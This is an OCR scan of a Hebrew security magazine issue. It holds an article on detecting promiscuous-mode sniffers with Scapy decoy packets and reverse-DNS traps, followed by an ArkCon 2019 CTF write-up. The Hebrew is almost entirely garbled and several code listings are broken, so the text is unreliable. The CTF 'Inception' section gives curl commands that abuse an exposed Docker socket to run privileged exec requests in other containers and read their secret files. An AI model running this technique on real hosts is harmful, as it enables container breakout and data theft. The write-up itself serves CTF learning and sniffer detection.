2 "y g = [
S 0.009 - ] _— -
- n & o010 1
= " = .y "
£ o008 = [ [ ]
x [
0.008 =
0.007
S e 0.006 4
0.006 . 1 os®
. * * . oo . . L ° L ]
° ® e e o’ 0,0 ot . See’ e e o o0 o
0.005 ® 0qg o 0°® . L R pooa{ e eee o oo g0 °*
o 5 10 15 20 25 30 [¥] 5 10 15 20 25 30
Measurement Number Measurement Number
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https://en.wikipedia.org/wiki/IP_fragmentation
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YNS X7 TV'WO NIXIN MYI

B L Hm Without noise
" Without noise 0.025 EE With noise
Em With noise i
0.04
0.020 4
—_ i
o 0.03 T
< o
o o
g & 0.015 -
a - E ) | ] ]
E 002 = ..o, s
. ] = n =
LEL n L o LT
0.010 - a ] L] .
n u - - nl, =
]
0.01 1 ol " opun"mags "g " mnn L]
L) e o oe ® ® . .
° ™ ° e® LR et . . .
00°% 0o, 0 o e e®0e®® oo 0.005 Cone e o, ® ®eet sve®’,
T T T T T T T T T T T T T
0 5 10 15 20 25 30 1] 5 10 15 20 25 30
Measurement Number Measurement Number

XD D'RIN 1INIX NN 12 |2'733 ATO0 NXj7 NV INID ...A10

DN 0'™7IN>N DWWl NnoYY NN'n NYAInYd IN7waYw 0'21'90 7w RTT-N DWW DN NINMITRND NITIZIN

JUYN NNUD NYINWI IN7WIY 0121'90 W RTT-n

RaVallv ol 11aln Y62 NITEIN 2yun 1'n D'7IN0N D'YIANN NN L, 0MYANN NYVIIN 702w NIKY N1
N7l - NOPY NAN'N NYINWD IN7WAY 178N NP NINMRA ' - YN IR QYUY |n,7'7]w niTmmn

Aran

1XYW -0'ITNR DAl D'71n> D2 (outliers) D"VO'VVO D'AMN W' DIINNND D'M'YINN TYAY 17 0'W)

2 Miynwn 7TaNN NIXKTYY D'NY¥N DNXR .0ONN 10907 IR DNIN 2'WNN7 OXD 2071 DIty

?0'M'WNNN NIAIT 'MY D''WINN

79 RTT-n 'w¥xmn 2 'M'NIYn '7¢ N2IYN2 NI N N7 T .07"702 11D N7RUN 7Y "My Npx?

L2201 YN axn

17w 9100 Qa1 TNX |IN1D AWN' YXInn INIX - nimm 30 7w yxmnn RTT-n NX 2wm

9022 KVANN AT N DK - 7720 W NTNA L 7a0 axn 7w 2041 Yo axn 7w RTT wxinn 20 njpn

0.018
EEl Promiscuous

H Not Promiscuous

0.016

0.014 4

0.012 4

Average RTT (Seconds)

0.010 4

25 5.0 1.5 10.0 125 15.0 17.5 20.0
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https://he.wikipedia.org/wiki/%D7%97%D7%A8%D7%99%D7%92_%D7%97%D7%A9%D7%95%D7%93_%D7%98%D7%A2%D7%95%D7%AA
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272W N9¥N M L'OIIRTMIN 120N7 DXNNA NIvAYN 17'o0n X7 I"TV KINn NINIpRyN |'2 ¥AdSnn

PN 250 AN AZ00 NNIpYN L,0WINN 19 7Y AT AT

NI017 0'713' 1INIX ONI' NIV NIRXINY YaNT7 NI017 D'713' 1INIXY DT 'on M2 TN IR
P77 N1017 ,'917n7 IX (fragments) NI7¥190 IP NIVED NN 12D -NIDOI D'DYTA TV 72V 0myinY
2V n0'901 0'TTN AWN? IX Outliers oy TTMNNY NI017 ,7wn% -N90XKY DIININN 20NN NX NIXNYI
DNVNISN NXR NINKR A1DY7 NIC17 DA 0712 INIX .D'AYAN |2 PNAM 7720 KIXN7 [1'0"2 DRIMIN

JITTNN 2 D'NINND DX IR YYD NIVPD 19010 DX 7'TanY? ,7un - vopon v

NA'YN MY' -TINN DIV DN90NN NIFON 7'0n71 TITNY7 D'0IN IINIRY [N - N1'Myn NTIj71 DNO
,7un7 19w 0'ixa7i v9MPON YW N1ANY DA NIA'YWN NIY' D71 -NITTNA NIZYTA NIRXIN N7277 ny1dn
MWD DX 9¥NY 'RINKRY Thread-n 1IN2 YN7 NIMKY X230 TIzn NO'O1 1MIANN
i in xrange(amount):
noise_packet = Ether(dst:“u:u.t-;:..::,:..”)/IP(dst:device_ip)/TCP(ﬂ

sendp(noise_packet, iface=VMWARE_IFACE, verbose= )

707w NI'M'ya1 01'NAN DNR DXRN
127NN2W KX N'oN' AT NNPI7 NUEON NIdDINY DIYN 'M'Y2 12T .WTHN 2D1IN N0PON ,N'¥I0'N ‘D1
NWY' XINI NX Thread 7@ ICMP Echo Niwza 7y 2'wn? 119 XNt "y¥om" ' yNs nw1 0'01d oy Ty!
[IM"'9] WIN'WNW X7 DIpNn [KD .YND 'K 17w NWIN 0'01DYW QWNN I'7V 2'Y' DAY NN NNIND NINT
NN NIVYWD 7w NN 17X D7IR - YYD AT N'NAN 7R'0DIND VIT! 12'K ,N'9'¥90 Scapy-1l 7' 91X

At 270 Dp'o

AT 197 TY'N 7w NWAN 0'0D A¥N NIX VIAP7 1'01 DAY Latency Test-n NU'W NIX 11170 N7 77N

17V nannn

JIYN 0'0D W 1a¥n NyApa 1y Janont MY MIvawn 77an INN X7 NIRYINND - Myx?
N1'yn X'NY NNNY P71 (20 AT NDIIRI) NANN DNRYN DX IT N0'Y 17 DNNY RTIAY 19D

JINMR NUWNT7 Aty NNk X7 X LT0NIR'TIN Znnn N2'nan
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DNS Decoy

NIANINNA NTZNNN IT N0'Y - n"n 7Y nannn AT NIANINN ITPNNNY ,NINTIN NIv'WY TIaa

.JNANN N1DIN

N7 DYONNY N1IAvN DX '017N% 0U2'09 DI - D'2'09) DMITAINY DAY 0DMD10 ,NYun?
MIYPNN DX 117 a'¥n? D Domain NmMwY IP Niaim> DANY7 0'0IN 01910 DNIX .ONIX NINTY?
2w Awpna DNS v yawa 775 7012 .DNS 7171092 win'y "y NINT D'YIV 0N N NN NNINa
:MPNY 19NN *7nN%? DA DNS-2 1ty N 071X .(Forward DNS) IP niamdY oa'iT Dian

02177 IP NN DN N1 - (rDNS) Reverse DNS

FORWARD DNS

(o]
(o]
User DNS Server

REVERSE DNS

o
o&

User DNS Server

[https://www.leadfeeder.com/blog/what-is-reverse-dns-and-why-you-should-care :1ijmn]

N7¢' XIN - NYDIM X7 IP NAMd2 7PN XInW DS 701 - DY DIAN Y¥A7 19207 17T TWUKRD
'MITN NIX A XID - MIYN TR MWD NTNA LR KDY IP-0 Damd oy DNS nw? nwjni

.IP-n N2IND> NX DI7NA ThY

:Capture Options-n 70N 70T DIAYNN YIX'A IR 1'TAN? [N Wireshark-a

Name Resolution

& Enable MAC name resolution

Enable network name resolution

(& Enable transport name resolution

.(-n 2TN NIYx¥NKXA INIR 7027 |N1) '0719'T |9IXA Y¥ann '70nn tcpdump-a

QIUN? [NININ DX "NIND?" 7221 NIDITA NIAUND DY NIAYN 9T71 1TN7W NN NI 7¥17 101 11NIX

.INXY NKX
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https://he.wikipedia.org/wiki/Domain_Name_System
https://en.wikipedia.org/wiki/Reverse_DNS_lookup
https://en.wikipedia.org/wiki/Reverse_DNS_lookup
https://www.leadfeeder.com/blog/what-is-reverse-dns-and-why-you-should-care

N¥P X700 TIign .NwN2 NN 17 W' YT NIAIMD [NIK 7V Reverse DNS Lookups N1l nTna

NN N'YN N'XI9N NX 77 1'A0KR |D'7I BIRL

detect promiscuous():

fake_ip_address = get_fake_ip()

request_packet = Ether(dst=FAKE_MAC)

request_packet /= IP(dst=fake_ip_address)

request packet /= TCP(sport=randint(1025, 65535), dport=88, flags="S")
sendp(request_packet, iface=VM INTERFACE, verbose= )

dns_packets = sniff(filter="udp and dst port 53", timeout=MAX TIMEOUT, iface=VM_ INTERFACE)
sniffing_hosts = get_sniffing_hosts(dns_packets, fake_ip_address)

if len(sniffing_hosts) == @:
print "There is 5
else:

print "Found sniffe ) in the network:".format(SNIFFERS_NUMBER=len(sniffing_hosts))

for host sniffing hosts:
print "\tMAC: . IP: "_format(MAC ADDRESS=host[@], IP ADDRESS=host[1])
NXY QUNNN 7¢ NAMdN NX DI"¥Nn X7 NNIX XD ,0'ATIEN D'091RP0Y7 TnMaw 17 n'w
NIY{72 O'N7IY VIYD KN ,'D9'¥90 1WNNYT NIYPAN DX DTV X7 1INIXY DIYA - 12 DY TYIN
.20 ' D' T YNl
NIY N2IMD 11127 DX NNIX .WNANWI MY [P N2IMdN DX Nt get_fake_ip n'xj7119n
X7 DAY 1220 ,'91707 IN ,N'9'¥D0 NAIND W |"nITn NN 17'2 DANNNY INKY D DYS D]
- Y7 NAIMD NNIK? MIYPN "1 0K ,]27 .N1017 0'7'05n DN - DNS-n mwn nawn 17
[IURIN [1I'010 INK7 72X ,NNIX (Resolution y¥17) 27717 102 w12 DYAINNN NIYRIN DY92
.F'DNS NIy NIF RN X7
194N NAIMDY n'72an nnfwi N (35 Tv)
.(DNS niwja n1'73) 53 0197 nndNY (UDP 2yn Y1 DNS) udp NIVZ9 727221 NWIN NIX §101
X'n DNS nwppa 75 1y L172pnnw NIopon NNy DR N0 get_sniffing_hosts n'xj11on
NYPAN DX .1NX'Y N9 NAIND NNIX X' DANYT 0'0MY NAIMdNYI rDNS-1 "aImw NXTIN
NAIMdN NN'YAY NN DX 9'011 1910 Y NNIX N7YY Qwnnn -D'RINN 27 ny
190NN

.(910n 2wnn R¥N1 K7W NO9TN IX) get_sniffing_hosts-n NTNW NIaIMdn NooTn (46 1Y)
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https://github.com/bnaya19/PromiscuousModeDetection/blob/master/detection%20scripts/dns_detection.py

Name 7w nr¥9Ikn ny) Wireshark 2y Dar ('0719'T 2¥n1) tcpdump 7y DA VOIPON NX 'MXIN
((Mwoixn Resolution

root@osboxes: fhome /osboxes# tcpdump
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth®, link-type EN1@MB (Ethernet), capture size 262144 bytes

212w Anti Sniffer-2 112721 INYWIYW NID'ITAN NIAIMDN DX 2717 1011 019100 Y

No. Time Source Destination Protocol Length Info
1 0.088000 10.1e0.102.18 3.3.3.3 TCP 68 13658 > http [SYN] Seq=0 Win=8192 Len=0
2 0.328739 osboxes. local 192.168.237.1 DNS 80 Standard query PTR 3.3.3.3.in-addr.arpa
3 5.066500 osboxes.local 192.168.237.1 DNS 80 Standard query PTR 3.3.3.3.in-addr.arpa
No. Time Source Destination Protocol Length Info
1 0.606008 16.160.182.18 4.4.4.4 TCP 54 58895 + http(88) [SYN] Seq=8 Win=8192 Len=8
[ 2 9.881352 192.168.237.128 192.168.237.1 DNS 8@ Standard query @xcc23 PTR 4.4.4.4.in-addr.arpa
3 5.819982 192.168.237.128 192.168.237.1 DNS 8@ Standard query @xcc23 PTR 4.4.4.4.in-addr.arpa

;07901

C:\Users\bnaya\Desktop\scripts>dns_detection.py

Found 1 sniffer(s) in the network:
MAC: ©00:0c:29:0c:6b:c8. IP: 192.168.237.128

AT 279N Dp'o

NPTA AUNN QX7 NN¥ZIN K7W NAIMD DY NMIAvn 197 .DNS Decoy-n NU'W NIX MNP0 N7 77N
INIX - N'NINATIZ 19 7V D1I0N [INN* IT N0'W7 .N9UT NAIMD NNIX 7V rDNS NIYpa N7IY Inw'n DX
D'DIYNY DAYNNAN 770 NX NNX N1 PITA7 [N X7X - W2 2wNn 7D 17191 21Ta7 0DY X7
N'7¥N X7 NIANR 0NY?1,|NNNIN NDIN NIANINN 7Y NdNNOoN XN ,NRT DY .N9ITAN NIAyNn?
Resolution y¥a7 X7 nTain D™y NXIY NN NDINY DIYA VIYDS - 0'9'10N DAYNN NI7a7

AP niamdy
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Did'o

YIA{77 0'01NN DMI9N0-'VIX YWIN'Y D'YIY [N NIFTIINN NIZ00N NYAIXR DR INATAI 170 1NKN2
ICMP-1 ARP '71101N9] WIN'Y NIYIY LI'RIY NNIYRIN NIROLN MY DY 0'01D 7w 1230 N
72NN 72K 70 nwn 0'0Nd FTT 7Y NINT'RY? NNIMKRY NI7'An NN 9 Npvn 7y niooannl

Y9 NwA 0'0ND T 7Y NI

NV 0'01) 7¥ 12¥N NIX [NAX7 DMWY 1IRY 11'RY 21 NNDIY 17Y90 NIDN |2 0'7720 DIY'Y 11'RD

.(Firewall 7722 7wn?) 1T'xn N2IAN N0IN 7722 "W [91X] YINO

D772 N0 7V NWIN 0'01D "axn NN |NAXY N'7X¥IY 1IN0 N2 latencyn NO'W NN 11170 |91 INKY

JNKRNAN NNA0NA NINT NIYWYYT 1IN7¥N K7 .TV'D AwNn 7Y nainnn nmn

ni7wY non |PMMNMAN NIDIN OX DT NIMA'OR'S NIAIMDN AIAYN 9T ,NINNKN NP'1DL]

JIAMD NIR 7V rDNS NIN7'RY

alon |0 NN NIRawN L (latency LNY) 1I'RIY NIRROVN 702 VYNOYW X' |"Y7 ["MVnNY AT
NIN YN 0'0IDYW ININ VOO DX DYZIN .YND 2¥N 7Y AT ANY¥N 1oIn NI [ False Negatives

.NTD DX KXIN NIXRTIA VYN - YNO

NIS0N NIF'IDV N D'MIYN D'RYINY NYA7 'Mjoon K7 MYX71 KXW 2'nn7 Nn NN Ty W
PNYNN7 NXN MY YN 91N .DMI9N0 7Y NIZANNNE 17'2-'0IX NIZP00 IR YNO 2vn T
2 D NIrMiynun NIRXINT Yan? 1N97¥n X7 v an71 Latency-n NU'WY D'NY¥IN D'YIN'NA
NN'PNN NI T DR [IN271 ARP-2 719107 'RINKRN 0127 7w 7 7w TIgn 7y 1iave avn aqe

.NNaonn 7y n"n nyxanw

INIX |'3n'7 NN "INY 17D NINDY7 MMXNNN DMWY DLUTRARR

NITIn

NI UIN'Y NYIY X7 IR QY DI' 'K .'AXVY NINKD K7W DA 2 MRNY - WY NIy QTN
NNYNNE N'DUN NYTA NN 7Y ani7Ia MiIm? N9on N7y 21N .7 7'NiN "W navnnn Tl
D'7aNN D'WIRD TNXR KIN NN (DAY [TIRE DAIM 9Nd 7V ,21UN N N2l 179 Nitxnn

JXNAN NN 7Y IR0 7'9X7 N2 NTIN L1 .NYT 7 KY'Y NI 0FTANINT DM

SNNOWNY1 MIN? ATIN

Promiscuous Mode Detection
www.DigitalWhisper.co.il
66 2019 1' ,107 [I'7a




Technologic

MNnn 7y

mivpgnla ,N1DIN NIN'SY "1ynn .nNIMSn n0'0NA1INd AYNNN w2 viTivo ,19 A ,N12

W'OINY D'U9ZON 77D .bnayaYoo@gmail.com :N7RW D7 "X Nnd7 N1 .yTN NNV

X2N YR D'RXN) DN XR TIV'N N90INa ,nona

https://github.com/bnayal9/PromiscuousModeDetection/tree/master/detection%20scripts

D'M'YINYI NRDINNYT DNpn

e https://en.wikipedia.org/wiki/Promiscuous mode

e https://www.cubrid.org/blog/understanding-tcp-ip-network-stack

e https://www.gatevidyalay.com/ethernet-ethernet-frame-format

e http://www.just.edu.jo/~tawalbeh/nyit/incs745/presentations/Sniffers.pdf
e https://slideplayer.com/slide/9510821/

e https://www.leadfeeder.com/blog/what-is-reverse-dns-and-why-you-should-care/

no0n npnyn? nNIwy

e http://www.securityfriday.com/promiscuous detection 01.pdf

e http://hadmernok.hu/132 27 nagyd 1.pdf

e http://hadmernok.hu/132 28 nagyd 2.pdf

e https://pdfs.semanticscholar.org/e71d/fb37402252ef66072518720fc217891e1bd4.pdf

e http://www.lsv.fr/~goubault/SECI-02/Final/actes-seci02/pdf/008-Abdelallahelhadj.pdf

e https://www.iasj.net/iasi?func=fulltext&ald=29687

e https://gupea.ub.gu.se/bitstream/2077/1159/1/Nr 3 DS.pdf

e http://www.lIsv.fr/~goubault/SECI-02/Final/actes-seci02/pdf/008-Abdelallahelhadj.pdf

e https://shodhganga.inflibnet.ac.in/bitstream/10603/108363/9/09 chapter%203.pdf
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Dvd848-1 YaakovCohen88 nxn

nNNTPEN

DANK NWI7W 775 myy 010N ,ArkCon 2019 01> NXY?7 CyberArk 7w DNanxn N1T07 qJwnna

.010N MANKN NWITY? n7v [NN9N NX X1 NT \YNN-11KXN . NIYY 19017 D'NIND I'N TWX 0'901

.0107 INTPW DMANKY7 NNINNON OY IIXN 111019 DTIFZN [1I'7222 - ["Iynl R K7W MY

(m1mi72 100,000) IAMCu*e :#1 NanN

Challenge

Flag

1ying goodbye

nc 18.197.75.181 1337

IAmCu®*e
100000

can be difficult

Submit

gl w0

wl
| oT

o
(=]

IX2N V79N DX DX ,NIYWY7 1aNM DX

# nc 18.197.75.101 1337

w! rA rB yH yK rF
g- ri bE rG bT ol
o0 bE w¥Y o0- oI b-

Please enter an input in Base-12:

*1721 knAIT? V77 01101 .12 0'011 LY WiPan NIWN
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https://thearkcon.com/challenges
https://www.digitalwhisper.co.il/files/Zines/0x6A/DW106-3-ArkCon19.pdf

Technologic

oH gN rL ! rA yK rF glb w0 wl
g- rW bE rG bT oU
0 bE wY o- oI b-

1) Nfayn MIxa Aknw D70 "It NN MMIYAY ARON 'R %Y DpTRim n'na
WX NI'YYIYUN IRYIE N DRI DTYHIYN 1IN NNYY DR DRYA N DYIRNYN tYung

(N7xnw nx'op

MI¥2 N1'A YN MWD DR 7' "1 070 XN . NNNKR NNIXa 0790 DR 1227Y D2IY D07

.NMIY |9IR2 NIY'Y ITTA NNNK NI71IV9I1 ,N'7aun

AITY' XN TMAY DAY .AX' N VORLN ZI'TA NN ey nYp NXp L|IYXY 0Ona

VYN ITIN 0NN TNXR 701 ,0'0aY W'y 17 W' .0'P70 nYWN? Ng2inn NNXR 70 NIKD ww 117 v

M Nl ...2721m .0nmy>s

INNI,YA¥N 7¢ NIWKRIN NIRD KIN [TYXAN NN 0NN Y T 7V axIm ,7'7n DY N N npna

ATION NYMIPNYD ,T'NY] NNIXK YnNW!' AR 1Un
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https://ruwix.com/the-rubiks-cube/how-to-solve-the-rubiks-cube-beginners-method/

Technologic

.N"MUPZN DX IN9Y 12'7V 1'0I7NT7 1N2 NI 1Y XA TUXD ,NAYIN ITD N1AINMNY yainn

NIN9Y DWTI'YW DMWOIN D'WAR DY .0D70N0 20-1 MNIF X7 NIYXARA NIp 72 1N9Y7 NIY DR
75 .TA'M-ITA NMAXIMY DY MDY INYY' QX DP'7N Y7IREL[F0I707 N'ONIVIK NIX¥A NIMNAIN NP
NN X7 1277V |3 197 X .IT 10D ,NINAAN NP [INN97 NI NIMS01 WNNWNY 071D IRWUN

.N7 NOXN NMIDONY AIX7 NNIN 1NN '721W NI 7y NN NIxa 17 NINIY Amaipn

D'IYN NYITY 1Y ,)yn T 2V axI'M A9 D - 011N 0O'>YN NIVXNKA N"Alpn DX aX'" DNIX

NaplV] NN NX ax''y 7m 1VN NNYT NIRDON NYY NNV O'ax' n

X2N [DIR2 AXI'N OTIRZ 'RY N2 ,niD

:0'N2N NINYN NIVYNAXK NRIYA NIXS? oN"Nn7 7'NNa ,NiNRN 0wy

(U)P

(LUEFT  (FRONT  (R)IGHT = (B)ACK

(DJOWN

:D'RAN D'OPTI'RN NX ]'1I'73.|7YJ NIX9N ,1N7Y Tyvna
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https://github.com/muodov/kociemba

Technologic

T2V X' DDIPN DDIYNA NIYYARD NI AIXY? 722000 7w RIV0P0N AIXT N 1IAYY7 17 0T

XAN NXI91 YIn'Y

07775 7277 nO¥N NMBONW AIX™T7 INIX 1'MNT 11'7V MR TIAWY 117 NRY XY DNX'Y INKRY DY

IoNn ANXY? ,U NXON 7w 0waxn nywn OTI? 0'IoNn 1YT0 DYIIN 7¢ DOINK NTNNA AWAT ArMoon

WTNA NMlpn IR YTO07 NNt D owh LF D, L, B TXI LR 7w n'IR

((0'7an 0NN K77 ,v2¥0 79 NIMIRD) DMWY IR 7D TNNY1L,NDINK DTNNNY NIk "now?" TR

:NWAT N'MID0NY DUINT D'WIANN DX 1MNY 910171

7'70) NINWN 12'K DYD XY ,NRON 7W 'WXNRD 7700 7w yaxn T 7 yapa AR 7w yaxn 1aon

0N D'WaYN 17w xmam (it 710 X7 N1

7¥ qWpNa 0'YaX7 ON'NIY WUzan X7X ,0'WAN 7 D'YII9N NINMY 727 [N X7 n'M190n 7w Xt
NUpPan n'Mvon ()27 XN N7 'w¥nRN 7700) 27 yax nw' nar'un AR (In ,XNAIT? LNIRD

.(UP Nx® DW 7v) U TIT'Pn NIYXNARI NRT NWYI ,[27 YaX a¥"7 n¥IW 0y9 701w
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‘X2N AIX"N NX I72|7]"l XNAITA 'RV DNAMn n"apn

XA [NNS9N DX NMIAY Awnn n'"M50nl

.0'"MY INIX Y¥A?7 W' DX INY7D TUX7 NN 2 NN90N UKD

22j721 DTTYXN 197 NN DX NN

rL rA rG b- bI bS
r0 rll rG bE bT by
rF rA rB bE bE bR

NN 7Onw Xan Yonn N I73.|7:I IR 11X ON''Nl DX ."lYn 1NN Inn 1N'aa NIKTT? TWONR NVD

AT

NN TIpn

import kociemba
import itertools
from pwn import *
import time

MENU STRING =

(cube arr, face):

return cube arr[face] [1][1] [0]

(lines) :
cube arr = []
rows = []
for line in lines.split(
line = line.rstrip()
if line != :
rows.append (line.split ())

&

assert (len(rows) == 9)
cube arr.append([rows [i] for 1 in range(3)])

for i in range (4):
cube arr.append([rows[3 + j][i * 3: 1 * 3 + 3] for j in range(3)])
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cube arr.append([rows[i + 6] for

assert (center color at(cube arr, UP)
assert (center color at (cube arr, LEFT)
assert (center color at(cube arr, FRONT)

(ce

(ce

(

(

c (

@ (
assert nter color at (cube arr, RIGHT)

(

(

€
assert (center color at(cube arr, BACK)
assert (center color at (cube arr, DOWN)

cube arr new = [cube arr[UP], cube arr[RIGHT], cube arr[FRONT],
cube arr[DOWN], cube arr[LEFT], cube arr[BACK] ]

return
.join(list
r new)))) [::

itertools.chain.from iterable(itertools.chain.from iterable (cube ar
]

;

r = remote ( ’ )
data = r.recvuntil (MENU STRING, drop = True)

print data

cube = get cube (data)

cube = cube.replace ( , ) .replace (
) .replace ( , ) .replace ( 0

moves = [ ’ ’ ’
sol = kociemba.solve (cube)

print .format (sol)
formatted sol = []

for command in sol.split():
num commands = 1 if not in command else 2
clean command = command.rstrip ( )
for i in range (num_ commands) :
formattedisol.append(str(format(moves.index(cleanicommand), 'x")))

print .format ( .join (formatted sol))
r.sendline ( .join(formatted sol))

output = r.recvuntil ( , drop = True)
cubes = output.split (MENU STRING)

print cubes[-1] a

print .join (cubes[-1].split ( )) .replace (
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wY

wl oT bS

g rid rG
v& yT o0

W
!

Steps to solve:
RZU2F'"B"RLFL"D"F2

Formatted steps:

8, 8, 0,0,5,7,8,a,d4,b, 3,

4, 6, 6

o- oT oH
: ol

oR

YOUGOTIT!-THE-FLAG-IS:NICENOW

R B2 L2 D'

F2 U2 R2 U" D2 F2

4, 4,

KIORTOSH

[*] Closed connection to 18.

Technologic r
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(m1mi2a 30,000) Inception :#2 NanN

Challenge

Inception
300000

Flag Submit

JINNo

.OTIPN 2202 1'RW Container-n ANKY QYN KIN NTN ANKN

We realise something was stange"”

.MINNN AWNNN 7R ,NXIND YW container-Nn NINAY T XIXNY? 0XIW DX DTN NANKD DA
7201 1I9'0N .NINI7N 7j7wn 7y Dr-container DY ,Inception VION NINA 112 NANKN ,DYONY KX

(10N V12" KINY) cobb ,N7w wnnwnn NN K¥NIY LORL YAl
flag key.partl
$ cat message
bk, wake up..
If you read this message, it means you successfully got inside a dream of Saito
::_:et the encoded flag and find the three keys to decede it.
he rumor is that Saito placed them in the same pl but in different dreams:

ey.partl > in his first dream
/.part2 > in his s nd dream

/home/key.part3 > in reality
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https://en.wikipedia.org/wiki/Inception

Technologic r

?0'¥apn INY a7 nnl

aah (H[k_!XA EVEa90M D7 .2mh2C| |otCrul s
t key.partl
=BuseLKSO | T#0=4jEqk1{7[

[> NN .0YON INYXN K7 DTIZN MANKA ITAYY NIV'WAY ["X7 INIMm .awn 01I7n? 'wnl e o nr

.Docker 7w n'-container-n NN™M27 NI'VITIVO NIV'Y YID'N NI ,NNIENT7 DT 772V

97 [1'7an ANKRNA DTIN X KIN) /var/run/docker.sock NN WI9'N2 DYD INX DY 17V 02T THX

INIX¥NNAl LIy T8N Docker 7w daemon-nw Socket-n InT .(BSidesTLV 2018 ManX_[INN9 7V

,0MoNn 0PN NP9 N1'NAN NI 'IN NT .container-n NN daemon-n DY TWPNY TWON
VN XIN AW LY oY [N XYW container-7 qIUN XIN DX N''YY TIXA NNVAN NX19 NNID X

.Docker-n nd>wn 7y nxX'n nohvw

,D1IYN_D'-container-2 NI9X7 XN 71NN ynn ny NIYY? TWONY NI'A 0''0'02N DMNATN TN

NTIRZON NIYXNX]A

RXINN

/home 5 ix—5 et /var/r .5 son?all=1
[{ PIIj(I NAFE Oeat 005816 n L s - g 27", "Names"

25def.. 6 2e3d136d9d73a546c7988chb"
cat .qucte, prlutt N only when we wake up, \
! sh;'", "”Leatwd"'quT” 66, "Ports™:[],"
s "State™: running","statu_ : 17 minut r g": { "NetworkMo
}, "NetworkSettings"
rnull, "NetworkID"™:
cef0", "EndpointID
Tdb", "Gateway":"172.
" "GlobalIPvbAddres [ ) :
null}J}Jr ([{"Type" nd™, "Sour J ar/runﬁdoc
/ -Ler.:ock" "Mode™:"","RW": : agation":"rprivat
732c5b6108dc8a0d14241b11£2d05 562212d42fc9f™, "N
ckerid7/dreaml.l light", : Ehad':r da’7
:5387a0a551", c !

=] true; do =] : :1557: s "Ports":[],"Labels™:{}, "State
", "3tatus": i {"NetworkM :"default"}, "Hetw
Settings "Netwo idge": nfig":null, "Links
s "NetworkI : . 2 ; ) ; 05! 1ﬂ151ﬂ:ﬁaH3df“ad4.-
! ed49480afd

IPAddress™: 72.18. "IPPrefi IPvEGateway
q s "GlobalIPvéePrefixLen™:0, "MacAdd 42:ac:12:00:
rnull}}}, "Moun L1131
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https://docs.docker.com/engine/reference/commandline/dockerd/#examples
https://www.digitalwhisper.co.il/files/Zines/0x61/DW97-2-BSides2018.pdf
https://www.digitalwhisper.co.il/files/Zines/0x61/DW97-2-BSides2018.pdf
https://docs.docker.com/engine/api/v1.24/#list-containers
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YYD NYDI.IWN 7W TNRI [IWRIN DI7NN 7 TN ,D'-container 1w N NIXYY? D'710' 11NIX I

INITEo 0Ny YN 071! 1INIX ,0N7W NN DX 117
D'N2N DYTYY] WNNWI ,NTIRD YIn'? '

DIPN NNTAN NIX 01007 W') YIN'7 MIXIAY ATIRON NN N770W NNAN N'ANN DX N7w1 90 0TIR

:(exec-create NTIPD 'NIT) D'RNNAN

curl -X POST --unix-socket /var/run/docker.sock
http/vl1.24/containers/<container id>/exec -H "Content-

Type:application/json" -d '{"AttachStdin": true, "AttachStdout": true,
"AttachStderr": true, "Cmd": ["1s", "/home/"], "DetachKeys": "ctrl-
p,ctrl-g", "Privileged": true,"Tty": true, "User": "cobb"}'

nYpa nnm '71|7] NIYN 1N

AttachStdout” true, "AttachStder
"ctrl-p,ctrl-g”, "Privileged": t

claef"}

exec-start ITI'IPD) NNQN N'AN] WIN'Y T 70 0990 NIN INIYYNXA X222 AT Aan™Mn DX N1

(NTIPON DX NXMIN DXYAY

bd1bb63desdfias 0d450£8
n" —-d "{"Detach": false,
key.partl message

120w home N"7'N DIN DX NTN 172 971 ,17W container-n 7w ANTNA NWNNWA ITN XNAIT
TIX TANNY X170 NOI 1IX TN 2V1,"WN container-n 1IAY DA ITN N71V9N NX Y¥17 N0 170N

NN NN YIN'Y NIYXNXR] NNX n'r||79'7 NITPON 'NY
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https://docs.docker.com/engine/api/v1.24/#exec-create
https://docs.docker.com/engine/api/v1.24/#exec-start

“Technologic r

NYUPAN IN MY YTV XD .DMUN NTIRON )N NTIRO-NND DX NIYXIN ATIRoN 10N
nN'w' command_id-n NX 0'971¥ 11X awk-2 WIN'y NIY¥NKa X ,0TIR 17D json NTNNN AYTNNAI

0791 NMOX7 NYUNYNY NTIZ9N DR NNIYYNX] "D'7'ONN"

/var/run/docker.s Y " . ! w(curl -5
cker. k http/wvl.24/con
8dc8aldl14241bl1f2d0556b56e212d42fc9f/es
tachStdin™: tr "AttachStdout™: true, "AttachStderr™: true,
"DetachKe : "ctrl-p,ctrl-g", "Privile ": true, "Tty":
g } | awk -F'"™' '{ printf $4 }')/start -H "Content-Type:applicat
'r"DthPh false, "Tty": false}' —--output -
key.part2

Innonn 7w awn 7NN InT

[MIX NIWP'? n01]

BdcB8aldl4241bl1f2d
J '{"AttachStdin": tr tta ! rue, "AttachStderr™: true,
md™: ["cat", ";homefkek.partz"], "DetachRK "ctrl-p,ctrl-gq", "Priwvileged":
e, "Tty": tr ahal- b"}' | awk - '{ printf $4 }')/start -H "Content-Ty
pe:application/] -d '{"Detach": false, "Tty": false}' —-output -
1iP: I<"@mYMh3f /tp"X, gb%C+ (=

P70 NORIY IWRY N DY TN 0790 NN 7Y DINN DX DAY NNTIZN DTIE9aY 17 my
N7 12T DX YT 'K IR ,1nNn 029NnY7 77 ' 0TIz a2 (D10 N0 M) NInn V790N

?nNonn NX N09TNWI 1IY

INTI? NIN 7Y base64-1 wnw)

cker. k http/vl.24
http/vl.24/containers/

o 6b56e212d42fc9f/exec -H ntent-Typ

-d N "AttachStdout™: ue, "AttachStderr™
["baseE4" / i Y . o R c ctrl-p,ctrl-g",

true, "Tty": true, : : obb < { printf 54 }')/start -H
-Type:appli i -d '"{"Detach": false, "Tty": false}' --output -
.aVAGITxeQGlZ cdzPnSEL3RwIlgsZ2I1Q0ysoego=

NN i mnn 7'nnn NNonn 97 .('PIn base64 IN N1'RY ,NTIRI) YR X7 1IN DY 7'NNNn 0790 N9 DA
.NMINNN 2WUNNa MI7D L"NIR'YYNQ" K¥N1 XN JANKRD N?2'NNA AVTINN 97 NNX TNR 770 1Y
,Docker-n pwnna nU™MY NI¥nKa LN9MY N7 container-Nn NXIND YN97 0T RI¥xN% 10X

lyinan o'¥ap7 nw'a oY WTN container X7 071>' 11NN

.image-1 NIN9N 727 NIX W' ,container 11X Nan 7w D vl “docker create” 7w TIy'nin
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https://searchitoperations.techtarget.com/definition/Docker-image

ockerid?l 453de’7 b?a”Ede 4Jb-b31H1buﬁ?ﬂlrbcﬂzrj??dJlrldd

B74daB330™], y :[“mydnck911d dream?2:latest™], "SharedSize":-1,"S1ze":10219
